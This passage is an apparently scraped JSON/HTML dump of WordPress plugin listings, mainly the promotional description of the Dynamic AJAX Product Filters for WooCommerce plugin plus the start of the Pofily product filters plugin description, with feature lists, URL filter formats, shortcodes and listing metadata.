color, size, material, and more through rich UI controls, ensuring they find exactly what they’re looking for – quickly and effortlessly. Built for speed, performance, and modern eCommerce needs, this plugin is your key to a smoother, smarter, and conversion-focused storefront.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fplugincy.com\u002Fdynamic-ajax-product-filters-for-woocommerce\u002F#allpricing\" rel=\"nofollow ugc\">&raquo; Buy Pro\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fplugincy.com\u002Fdynamic-ajax-product-filters-for-woocommerce\u002F\" rel=\"nofollow ugc\">&raquo; More info\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fplugincy.com\u002Fproduct-filters-for-woocommerce\u002F\" rel=\"nofollow ugc\">&raquo; Demos\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fplugincy.com\u002Fdocumentations\u002F\" rel=\"nofollow ugc\">&raquo; Docs\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>⭐ Key Features at a Glance:\u003C\u002Fh3>\n\u003Cp>Dynamic AJAX Product Filters for WooCommerce comes packed with powerful features to help customers discover products quickly and effortlessly.\u003C\u002Fp>\n\u003Cp>✅️ \u003Cstrong>Real-Time AJAX Product Filtering\u003C\u002Fstrong> – Instantly update product results as customers apply filters, eliminating page reloads and providing a smooth browsing experience.\u003Cbr \u002F>\n✅️ \u003Cstrong>Advanced Multi-Filter System\u003C\u002Fstrong> – Allow shoppers to combine multiple filters simultaneously including categories, attributes, price ranges, tags, ratings, stock status, sale status, dimensions, SKU, date ranges, and custom fields.\u003Cbr \u002F>\n✅️ \u003Cstrong>Flexible Filter Placement Options\u003C\u002Fstrong> – Display filters in sidebars, top bars, widgets, product grids, page builders, or shortcodes for maximum layout flexibility.\u003Cbr \u002F>\n✅️ \u003Cstrong>Modern Filter UI Controls\u003C\u002Fstrong> – Use a wide range of filter styles including Select2 dropdowns, checkboxes, radio buttons, price sliders, button checks, and robust visual swatches (image, color, borderless, circular).\u003Cbr \u002F>\n✅️ \u003Cstrong>SEO-Friendly Filter URLs\u003C\u002Fstrong> – Generate crawlable URLs using query strings or clean permalinks to improve search engine indexing.\u003Cbr \u002F>\n✅️ \u003Cstrong>Mobile-Optimized Filter Layouts\u003C\u002Fstrong> – Provide 4 distinct mobile layouts (Top View, Collapsible, Drawer, iOS-style) with customizable breakpoints and touch-friendly controls.\u003Cbr \u002F>\n✅️ \u003Cstrong>Full Page Builder Compatibility\u003C\u002Fstrong> – Works seamlessly with Elementor (widgets), Gutenberg (blocks), WPBakery, Divi, Beaver Builder, Bricks, Oxygen, JetEngine, and more.\u003Cbr \u002F>\n✅️ \u003Cstrong>Advanced Product Metadata Filters\u003C\u002Fstrong> – Filter products using SKU, product ID, custom fields, brand, author, discount percentage, and custom taxonomies.\u003Cbr \u002F>\n✅️ \u003Cstrong>Powerful Filter Logic\u003C\u002Fstrong> – Supports AND \u002F OR filtering logic, multi-select filters, single-select filters, and default pre-selected filter values.\u003Cbr \u002F>\n✅️ \u003Cstrong>Performance-Optimized Architecture\u003C\u002Fstrong> – Designed with efficient queries, AJAX fragments, caching systems, and optimized filtering logic for fast performance.\u003C\u002Fp>\n\u003Ch3>🎯 Core Filtering Features:\u003C\u002Fh3>\n\u003Cp>The AJAX Product Filter for WooCommerce gives customers powerful tools to refine their search instantly. From categories, price, rating, size, attributes, and tags to stock status and custom fields, shoppers can apply multiple filters at once – without page reloads. This real-time filtering ensures a faster, smoother, and more enjoyable shopping experience that keeps customers engaged and drives more conversions.\u003C\u002Fp>\n\u003Ch4>✅️ Supercharged AJAX Filtering Engine\u003C\u002Fh4>\n\u003Cp>Experience lightning-fast product filtering with advanced AJAX technology. As customers apply filters, product listings update instantly – no full-page reloads, no delays. Just smooth, fluid filtering that keeps shoppers engaged and improves usability.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Real-time results\u003C\u002Fstrong> Instant updates with every filter click or selection. Keep shoppers focused and prevent drop-offs with instant feedback.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Smooth pagination and sorting\u003C\u002Fstrong> Smooth pagination and sorting without page reloads. Deliver an uninterrupted flow that makes browsing effortless.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom loader effects\u003C\u002Fstrong> Maintain a consistent, branded shopping experience. Reinforce your brand while ensuring checkout stays smooth and professional.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>✅️ Powerful Filter Options – From Basic to Advanced\u003C\u002Fh4>\n\u003Cp>Give your customers the tools to refine their shopping journey with ease. From everyday basics to advanced search options, the AJAX Product Filter for WooCommerce ensures they find the right products faster:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Product Basics Filters\u003C\u002Fstrong>\u003Cbr \u002F>\nHelp users quickly discover what they need with simple, effective filters:\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Filter by Price: Let shoppers set budgets and view products within their range.\u003C\u002Fli>\n\u003Cli>Filter by Rating: Showcase products with top reviews for faster, trusted decisions.\u003C\u002Fli>\n\u003Cli>Filter by Category, Tags, or Attributes: Narrow results by size, color, material, or custom attributes.\u003C\u002Fli>\n\u003Cli>Keyword-Based Search Filter: Allow instant text-based searches across product titles or custom fields.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cul>\n\u003Cli>\u003Cstrong>Product Metadata & Custom Field Filters\u003C\u002Fstrong>\u003Cbr \u002F>\nRefine searches with filters based on product metadata and unique identifiers:\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Filter by Brand – Let shoppers browse by their favorite brands.\u003C\u002Fli>\n\u003Cli>Filter by Author – Perfect for books, digital products, or creator-based items.\u003C\u002Fli>\n\u003Cli>Filter by SKU – Help customers quickly find specific products by code.\u003C\u002Fli>\n\u003Cli>Filter by Custom Meta Fields – Add store-specific filter options for unique product details.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cul>\n\u003Cli>\u003Cstrong>Stock & Availability Filters\u003C\u002Fstrong>\u003Cbr \u002F>\nHighlight availability, promotions, and active deals with smart filtering:\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Filter by Stock Status – Show products that are in stock, out of stock, or on backorder.\u003C\u002Fli>\n\u003Cli>Filter by Sale Status – Display only items currently on sale or running promotions.\u003C\u002Fli>\n\u003Cli>Filter by Discount Percentage – Showcase products with specific discounts for deal seekers.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cul>\n\u003Cli>\u003Cstrong>Product Dimensions & Weight Filters\u003C\u002Fstrong>\u003Cbr \u002F>\nLet customers narrow products using measurable attributes:\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Filter by Length, Width, Height – Ideal for furniture, apparel, or equipment.\u003C\u002Fli>\n\u003Cli>Filter by Weight – Useful for shipping-sensitive or size-dependent purchases.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cul>\n\u003Cli>\u003Cstrong>Date-Based Filters\u003C\u002Fstrong>\u003Cbr \u002F>\nHelp users discover products based on time-sensitive availability:\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Show products from: Today, This Week, This Month, This Year.\u003C\u002Fli>\n\u003Cli>Specific Date Range (From–To): Perfect for scheduling, seasonal, or limited-time products.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Ch4>✅️ Multiple URL & AJAX-Based Filtering Methods\u003C\u002Fh4>\n\u003Cp>Deliver ultimate flexibility for developers and a smooth shopping experience for customers with filtering formats designed for SEO, speed, and usability.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>1. Query string-based filters\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Format: ?filters=brand,size,color\u003C\u002Fli>\n\u003Cli>Example: ?filters=adidas,l,blue\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cp>\u003Cstrong>2. Query String Filtering with Key Prefixes\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Format: ?filters=1&brand=adidas&size=l&color=blue\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cp>\u003Cstrong>3. Clean Permalink-Based Filtering\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Format: \u002Ffilters\u002Fbrand\u002Fsize\u002Fcolor\u003C\u002Fli>\n\u003Cli>Example: \u002Ffilters\u002Fadidas\u002Flarge\u002Fblue\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cp>\u003Cstrong>4. Permalink Filtering with Key-Value Pairs\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Format: \u002Ffilters\u002Fbrand=adidas\u002Fsize=l\u002Fcolor=blue\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cp>\u003Cstrong>5. AJAX-Based Filtering (No URL Change)\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Dynamic filtering via AJAX without changing the URL – perfect for SPAs and performance-driven stores.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cp>\u003Cstrong>6. Real-Time Dynamic AJAX Filters\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Instant filtering as users select options – no reloads, real-time updates for a smoother UX.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Ch4>✅️ Full Widget & Shortcode Support\u003C\u002Fh4>\n\u003Cp>\u003Cstrong>Available Shortcodes\u003C\u002Fstrong>\u003Cbr \u002F>\nEasily add filters anywhere on your site using simple, flexible shortcodes:\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>[plugincy_filters] – Display the complete filter set.\u003C\u002Fli>\n\u003Cli>[plugincy_filters_single name=”attribute_slug”] – Show a single, button-style filter for attributes like size or color.\u003C\u002Fli>\n\u003Cli>[plugincy_filters_selected] – Highlight active filters in a clean chips-style widget.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cp>\u003Cstrong>Built-in Dynamic AJAX Filter Widget & Block\u003C\u002Fstrong>\u003Cbr \u002F>\nGet full widget and block support with seamless integration for Elementor and the Block Editor. Unlock advanced customization options for greater design flexibility and effortless placement of filters across your store.\u003C\u002Fp>\n\u003Ch4>✅️ Mobile-Friendly & Responsive by Design\u003C\u002Fh4>\n\u003Cp>Optimized for users on the go, our filters ensure smooth shopping on any device:\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Choose from 4 mobile friendly layouts:\n\u003Cul>\n\u003Cli>Top View, Collapsible, Drawer, and iOS-style\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fli>\n\u003Cli>Touch-friendly controls for better mobile filtering experience\u003C\u002Fli>\n\u003Cli>Smooth transitions and easy navigation across all screen sizes\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Ch4>✅️ Built-in SEO Optimization\u003C\u002Fh4>\n\u003Cp>Unlike many AJAX-based plugins, Plugincy’s Product Filters for WooCommerce are SEO-ready:\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Create SEO-friendly, crawlable permalinks enriched with relevant keywords\u003C\u002Fli>\n\u003Cli>Customize SEO titles, meta descriptions, and metadata for filtered pages\u003C\u002Fli>\n\u003Cli>Enable anchor-based navigation for better accessibility and rankings\u003C\u002Fli>\n\u003Cli>Use AJAX-only mode when SEO isn’t needed (e.g., single-page apps)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Ch3>🎨 Advanced Filter Design & UI:\u003C\u002Fh3>\n\u003Cp>Build a sleek, modern, and fully customizable filtering interface that not only enhances the user experience but also blends seamlessly with your WooCommerce store’s design.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Multiple UI Elements\u003C\u002Fstrong>\u003Cbr \u002F>\nOffer dynamic and flexible filtering through a variety of interface options:\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>Dropdowns\u003C\u002Fli>\n\u003Cli>Checkboxes\u003C\u002Fli>\n\u003Cli>Radio Buttons\u003C\u002Fli>\n\u003Cli>Sliders\u003C\u002Fli>\n\u003Cli>Color Swatches\u003C\u002Fli>\n\u003Cli>Images\u003C\u002Fli>\n\u003Cli>Button Check\u003C\u002Fli>\n\u003Cli>Input Fields\u003C\u002Fli>\n\u003Cli>Advanced Rating System\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Upgraded Dropdowns with Select2\u003C\u002Fstrong>\u003Cbr \u002F>\nMake filters smarter with advanced, searchable, and styled dropdowns that simplify product discovery and improve navigation.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>New Filter Styles\u003C\u002Fstrong>\u003Cbr \u002F>\nFresh, modern, and user-friendly filter designs that adapt to your store’s theme for a cohesive look.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Collapsible Widget Options\u003C\u002Fstrong>\u003Cbr \u002F>\nKeep filters tidy by grouping long lists into expandable sections, improving readability and navigation.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Customizable Filter Widgets via Elementor & Gutenberg\u003C\u002Fstrong>\u003Cbr \u002F>\nEasily manage filter order, visibility, and styling directly within Elementor or the WordPress Block Editor—no coding required.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Filter Visibility Control\u003C\u002Fstrong>\u003Cbr \u002F>\nDecide where filters appear—globally or on specific pages—for total placement control.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Different Filters for Different Pages\u003C\u002Fstrong>\u003Cbr \u002F>\nAssign unique filter sets per page, category, or product type for tailored experiences.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Customizable Loader\u003C\u002Fstrong>\u003Cbr \u002F>\nChoose from six built-in loading animations or design your own with custom HTML\u002FCSS for a branded touch.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>⚡ Compatibility & Performance:\u003C\u002Fh3>\n\u003Cp>Deliver blazing-fast filtering without sacrificing compatibility. This plugin is optimized for speed, SEO, and seamless integration with any modern WooCommerce setup.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Speed Optimized\u003C\u002Fstrong>\u003Cbr \u002F>\nDesigned for high performance — delivers faster filtering than most plugins in its class, ensuring a smooth shopping experience.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Works with Custom & Premium Themes\u003C\u002Fstrong>\u003Cbr \u002F>\nSeamlessly integrates with any WooCommerce-compatible theme, whether free, custom-built, or premium.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Built-in WordPress Widget Support\u003C\u002Fstrong>\u003Cbr \u002F>\nEasily add filters to sidebars, footers, or any widget-ready area for flexible placement across your store.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Search by Text Field\u003C\u002Fstrong>\u003Cbr \u002F>\nEnable users to refine results by entering keywords directly into a search field within the filter panel.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>🔓 Pro Features – Unlock the Full Power:\u003C\u002Fh3>\n\u003Cp>Take your WooCommerce store to the next level with advanced filtering tools and enterprise-ready features available in the Pro version. Get more control, more flexibility, and more performance with powerful upgrades designed for serious store owners:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Dynamic Filtering with SEO-Friendly Permalinks\u003C\u002Fstrong>\u003Cbr \u002F>\nBoost accessibility and SEO with anchor links instead of traditional select elements.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Anchor-Based Navigation\u003C\u002Fstrong>\u003Cbr \u002F>\nUse anchor links instead of select elements for better indexing and accessibility.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Unlimited Filters\u003C\u002Fstrong>\u003Cbr \u002F>\nCreate and combine endless filter options, fully customizable to match any store layout or product catalog.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Dynamic Rating Display\u003C\u002Fstrong>\u003Cbr \u002F>\nShow product ratings with stylish, theme-adaptive designs for a consistent look\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Advanced Price Sliders\u003C\u002Fstrong>\u003Cbr \u002F>\nOffer smooth, customizable price range sliders with real-time filtering for precision control.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Separate Subcategory Widgets\u003C\u002Fstrong>\u003Cbr \u002F>\nDisplay and filter subcategories separately to improve navigation and enhance the user experience.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Import & Export Settings\u003C\u002Fstrong>\u003Cbr \u002F>\nEasily transfer plugin configurations between sites for faster setup and consistent filtering experiences.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Premium Feature Updates\u003C\u002Fstrong>\u003Cbr \u002F>\nStay ahead with ongoing access to all new premium features and improvements at no extra cost.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Widget Caching\u003C\u002Fstrong>\u003Cbr \u002F>\nBoost site performance by caching resource-intensive filter widgets, reducing load times and server usage.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>❤️ Why Store Owners Love It\u003C\u002Fh3>\n\u003Cp>This plugin isn’t just developer-ready—it’s designed to make life easier for store owners too:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Instant AJAX filtering for smoother, friction-free shopping\u003C\u002Fli>\n\u003Cli>Flexible controls that adapt to any store type or catalog size\u003C\u002Fli>\n\u003Cli>Built-in mobile styles for a great experience on all devices\u003C\u002Fli>\n\u003Cli>SEO-friendly with clean URLs and crawlable filter pages\u003C\u002Fli>\n\u003Cli>Works flawlessly with all popular themes and builders\u003C\u002Fli>\n\u003Cli>Easy setup with powerful customization options for any store\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>🎬 How to Use Dynamic AJAX Product Filters for WooCommerce\u003C\u002Fh3>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FQndYhhLWaaM?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Ch3>🛍️ Perfect For Every Store Type\u003C\u002Fh3>\n\u003Cp>The AJAX Product Filters for WooCommerce plugin adapts to any business model. From niche shops to mega-stores, it helps customers find the right products quickly and effortlessly.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Retail & Fashion\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>\u003Cstrong>Fashion Stores\u003C\u002Fstrong> – Filter by color, size, material, or brand.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Cosmetics & Beauty Stores\u003C\u002Fstrong> – Filter by skin type, product type, shade, brand, or price.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Sports & Footwear Stores\u003C\u002Fstrong> – Filter by shoe size, sport type, brand, or material.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Rental Businesses (Fashion, Tools, Vehicles)\u003C\u002Fstrong> – Filter by rental duration, size\u002Ftype, price, or availability.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Lifestyle & Entertainment\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>\u003Cstrong>Bookstores\u003C\u002Fstrong> – Filter by author, category, language, or published date.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Music & Media Stores\u003C\u002Fstrong> – Filter by genre, artist, release date, or format (CD, Vinyl, MP3).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Art & Craft Shops\u003C\u002Fstrong> – Filter by category (painting, sculpture, digital art), size, price, or artist.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Kids & Toy Shops\u003C\u002Fstrong> – Filter by age group, educational type, size, or brand.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Essentials & Living\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>\u003Cstrong>Home Decor & Furniture\u003C\u002Fstrong> – Filter by dimensions, material, stock, or style.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Grocery & Organic Food Stores\u003C\u002Fstrong> – Filter by dietary preference (vegan, gluten-free), expiration date, or availability.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Pharmacy & Health Stores\u003C\u002Fstrong> – Filter by ailment, dosage form, brand, or medicine type.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Pet Supply Stores\u003C\u002Fstrong> – Filter by pet type (dog, cat, bird), age, or food\u002Fmaterial type.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Specialized & B2B\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cul>\n\u003Cli>\u003Cstrong>Electronics & Gadgets\u003C\u002Fstrong> – Filter by specs, price range, ratings, or compatibility.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Tools & Hardware Stores\u003C\u002Fstrong> – Filter by tool type, brand, usage (home\u002Findustrial), or power source.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Automotive & Accessories Stores\u003C\u002Fstrong> – Filter by vehicle model, brand, year, or part category.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Wholesale & B2B Stores\u003C\u002Fstrong> – Filter by supplier, MOQ, bulk pricing tiers, or product codes.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Educational & Digital Products\u003C\u002Fstrong> – Filter by subject, format (video, PDF, ebook), instructor, or release date.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Outdoor & Adventure Gear\u003C\u002Fstrong> – Filter by gear type, weather resistance, brand, or intended use.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>and many more\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Support\u003C\u002Fh3>\n\u003Cp>For support, feature requests or bug reports, please visit \u003Ca href=\"https:\u002F\u002Fplugincy.com\u002Fsupport\" rel=\"nofollow ugc\">Plugincy Support\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>Privacy Policy\u003C\u002Fh3>\n\u003Cp>To learn more about the data we collect and how we use it, please see our \u003Ca href=\"https:\u002F\u002Fplugincy.com\u002Fusage-tracking\u002F\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>.\u003C\u002Fp>\n","Dynamic AJAX Product Filters allow shoppers to quickly filter WooCommerce products by categories, attributes, prices, and more.",700,10294,100,10,"2026-03-30T11:57:00.000Z","4.7",[20,22,92,23,24],"https:\u002F\u002Fplugincy.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fdynamic-ajax-product-filters-for-woocommerce.1.5.9.zip",98,2,"2025-08-27 17:44:32",{"slug":117,"name":118,"version":119,"author":120,"author_profile":121,"description":122,"short_description":123,"active_installs":104,"downloaded":124,"rating":125,"num_ratings":126,"last_updated":127,"tested_up_to":128,"requires_at_least":129,"requires_php":88,"tags":130,"homepage":136,"download_link":137,"security_score":106,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"pofily-woo-product-filters","Pofily – WooCommerce Product Filters","1.1.7","VillaTheme","https:\u002F\u002Fprofiles.wordpress.org\u002Fvillatheme\u002F","\u003Cp>Pofily – WooCommerce Product Filters help you add filters to products. You can create filters based on your expectation and customers’ needs, for Taxonomy, Review, Price, Name. With various options of Filters the plugin provides, customers can search for their in-need products with just a few manipulations. Users can design how to show filters on the frontend with Customize settings, choose a place to display filter by using shortcode or adding rules, make the Filter look friendly and convenient to use for customers.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>You can see this video guide on how to install and use Pofily – WooCommerce Product Filters\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002Fi3GJCL_Sddw?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>► \u003Cstrong>With Pofily – WooCommerce Product Filters, you can:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>Create multiple filter blocks as you want for different contents: Product tag, product category, product attribute, product price, product name, product review.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>“Add all” and “Remove all” buttons are helpful when you do not want to add terms manually. It helps to save time and work effectively with big data.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>If you want to replace the original name of the terms, Label and Tooltip can help. Set the labels that match your expectation and make it look friendly to customers\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Customize how you want with all WooCommerce product filters: make them display as checkboxes, selections, buttons, color swatches, range slider.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Decide to show WooCommerce product filters with modal or on the sidebar (widget)\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Design WooCommerce product filters with style, colors, sizes, directions, icons, and many more…\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Create Filter Menu to add WooCommerce product filters\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Set rules to apply product filters. This is useful when you want to show the filters separately.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Allow customers to choose multiple WooCommerce product filters at once, or only choose one filter each time they use.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Effortlessly change the position of filters display by dragging and dropping.  Move them to the place you want in Filter Menu\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>If there are many terms to show, you can use the “View more” button.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>The “Clear” button works for each WooCommerce product filter separately\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>The “Clear Filter” button works for all active filters, help customers remove all selected filters, and start again\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>“Active Filters” settings help customers know which filters they chose.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cblockquote>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fnew2new.com\u002F?item=pofily\" rel=\"nofollow ugc\">Try the Demo\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fdocs.villatheme.com\u002F?item=pofily\" rel=\"nofollow ugc\">Documents\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fcodecanyon.net\u002Fitem\u002Fpofily-woocommerce-product-filters\u002F34743510\" rel=\"nofollow ugc\">Pro Version\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwww.facebook.com\u002Fgroups\u002Fvillatheme\" title=\"VillaTheme\" rel=\"nofollow ugc\">Facebook group\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Ch3>FEATURES\u003C\u002Fh3>\n\u003Cp>► \u003Cstrong>Show filters of Pofily – WooCommerce Product Filters in Modal\u003C\u002Fstrong>\u003Cbr \u002F>\nUsers can decide to show WooCommerce Product Filters in the modal window or not. If you disable this feature, the filters appear on the sidebar of the widget. If enabled, users can customize the modal 